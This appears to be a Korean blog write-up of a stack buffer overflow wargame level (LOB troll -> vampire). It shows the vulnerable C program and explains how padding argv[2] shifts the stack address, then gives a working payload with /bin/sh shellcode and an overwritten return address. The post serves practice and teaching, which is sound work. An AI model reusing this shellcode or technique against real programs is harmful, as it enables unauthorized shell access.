[LOB] troll -> vampire

2018. 4. 1. 16:37

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47!= '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
 
        // here is changed!
        if(argv[1][46== '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


시작~


코드가 짧아졌다. 검사하는건 argv[1][47] != '\xbf' , argv[1][46] == '\xff'  이다.


즉 리턴주소가 0xbfff~ 이면 될것같다. 


아 아니네; 0xbf까지는 되야하고 그 뒤가 ff이면 안된다.


그러므로 리턴주소를 0xbffe~~ 이런식으로 조금 바꿔줘야겠다.


인자값으로 엄청 큰 값을 넣게되면 argv[1]의 주소값이 밀릴것이므로... 엄청 큰값을 넣어주면 해결될것같다.


물론 48자 넘으면 안되니까... 엄청 큰값을 넣는건 agrv[2]로 한다.


분석부터 ㄱㄱ..



성공적으로 밀렸다.



payload : ./vampire `python -c 'print("\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x7a\x75\xfe\xbf"+"   "+"A"*100000)'`



성공








'Wargame > LOB' 카테고리의 다른 글

[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] vampire -> skeleton  (0) 2018.04.01
[LOB] orge -> troll  (0) 2018.04.01
[LOB] darkelf -> orge  (0) 2018.03.31
[LOB] wolfman -> darkelf  (0) 2018.03.31

+ Recent posts